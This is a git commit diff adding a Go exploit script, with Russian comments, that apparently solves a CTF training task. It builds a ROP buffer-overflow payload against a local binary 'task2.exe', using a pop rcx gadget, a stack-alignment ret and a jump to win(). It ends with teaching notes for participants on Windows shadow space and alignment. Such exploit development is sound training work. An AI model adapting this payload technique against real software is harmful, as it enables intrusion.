v0.1 - initial commit
This commit is contained in:
@@ -0,0 +1,103 @@
|
||||
/* В этом скрипте мы используем все фичи winpwn: парсинг PE, извлечение базового адреса (ImageBase), поиск гаджетов через rp++ и динамическую сборку пейлоада. */
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"log"
|
||||
"winpwn"
|
||||
)
|
||||
|
||||
func main() {
|
||||
target := "task2.exe"
|
||||
|
||||
peFile, err := winpwn.OpenPE(target)
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to open PE: %v", err)
|
||||
}
|
||||
defer peFile.Close()
|
||||
|
||||
// 2. Получаем RVA функции win из таблицы экспортов
|
||||
winRVA, err := peFile.GetProcAddress("win")
|
||||
if err != nil {
|
||||
log.Fatalf("win() not found: %v", err)
|
||||
}
|
||||
|
||||
// 3. Достаем ImageBase из заголовка (обычно 0x140000000 при отключенном ASLR)
|
||||
imageBase, err := peFile.ImageBase()
|
||||
if err != nil {
|
||||
log.Fatalf("Failed to read ImageBase: %v", err)
|
||||
}
|
||||
|
||||
// Вычисляем абсолютный адрес win()
|
||||
winAddr := imageBase + winRVA
|
||||
fmt.Printf("[+] win() address: 0x%X\n", winAddr)
|
||||
|
||||
// 4. Ищем гаджеты (нам нужен RCX вместо RDI) — нативный сканер, rp++ не нужен
|
||||
rop, err := winpwn.NewROP(target)
|
||||
if err != nil {
|
||||
log.Fatalf("ROP init error: %v", err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
popRcxGadgets, err := rop.Search("pop rcx ; ret")
|
||||
if err != nil {
|
||||
log.Fatalf("pop rcx not found")
|
||||
}
|
||||
popRcx := popRcxGadgets[0].Address
|
||||
fmt.Printf("[+] pop rcx; ret address: 0x%X\n", popRcx)
|
||||
|
||||
// Верификация цепочки прямо из скрипта, без внешнего objdump/IDA
|
||||
if lines, err := rop.Disassemble(popRcx, 2); err == nil {
|
||||
fmt.Printf("[*] verified: %s\n", lines)
|
||||
}
|
||||
|
||||
retGadgets, err := rop.Search("ret")
|
||||
if err != nil {
|
||||
log.Fatalf("ret not found")
|
||||
}
|
||||
ret := retGadgets[0].Address
|
||||
|
||||
// 5. Конструируем пейлоад
|
||||
// Реальное расстояние до return-адреса зависит от компилятора и его
|
||||
// версии — "32 байта буфер + 8 байт сохранённый RBP" (=40) это лишь
|
||||
// предположение по исходнику. На gcc/MinGW из этой сборки buf реально
|
||||
// лежит на rbp-0x30 (объдамп vulnerable(): `lea -0x30(%rbp),%rdx`),
|
||||
// то есть до return-адреса 0x30+0x8 = 56 байт, не 40. Проверяй через
|
||||
// objdump -d / x86dbg или просто перебором, не доверяй комментарию
|
||||
// в исходнике вслепую.
|
||||
offset := 56
|
||||
payload := bytes.Repeat([]byte("A"), offset)
|
||||
|
||||
// --- ROP Цепочка ---
|
||||
// Закидываем 0xDEADBEEF в RCX
|
||||
payload = append(payload, winpwn.P64(popRcx)...)
|
||||
payload = append(payload, winpwn.P64(0xDEADBEEF)...)
|
||||
|
||||
// Stack Alignment
|
||||
// Вызов system() требует, чтобы стек был выровнен по границе 16 байт (адрес должен оканчиваться на 0).
|
||||
// Добавляем холостой 'ret', чтобы сдвинуть стек на 8 байт вниз.
|
||||
payload = append(payload, winpwn.P64(ret)...)
|
||||
|
||||
// Прыжок в win()
|
||||
payload = append(payload, winpwn.P64(winAddr)...)
|
||||
|
||||
// 6. Взаимодействие
|
||||
tube, err := winpwn.Spawn("./" + target)
|
||||
if err != nil {
|
||||
log.Fatalf("Spawn: %v", err)
|
||||
}
|
||||
|
||||
if err := tube.SendLineAfter([]byte("Input: "), payload); err != nil {
|
||||
log.Fatalf("SendLineAfter: %v", err)
|
||||
}
|
||||
|
||||
tube.Interactive()
|
||||
}
|
||||
|
||||
/*На что обратить внимание твоим участникам:
|
||||
|
||||
Shadow Space (Теневое пространство): В отличие от Linux, в Windows вызывающая функция обязана выделить 32 байта (4 слота по 8 байт) на стеке перед вызовом любой другой функции. Поскольку мы прыгаем прямо в пролог функции win(), она сама выделит себе место. Но если строить сложный ROP (вызов system напрямую через ROP), перед адресом system пришлось бы класть 32 байта мусора.
|
||||
|
||||
Stack Alignment: WinAPI (через которые работает system в недрах msvcrt.dll) используют инструкции movaps, которые крашатся (выдают Access Violation), если стек не выровнен на 16 байт. Именно для этого в цепочку часто вклинивают один пустой ret. */
|
||||
Reference in New Issue
Block a user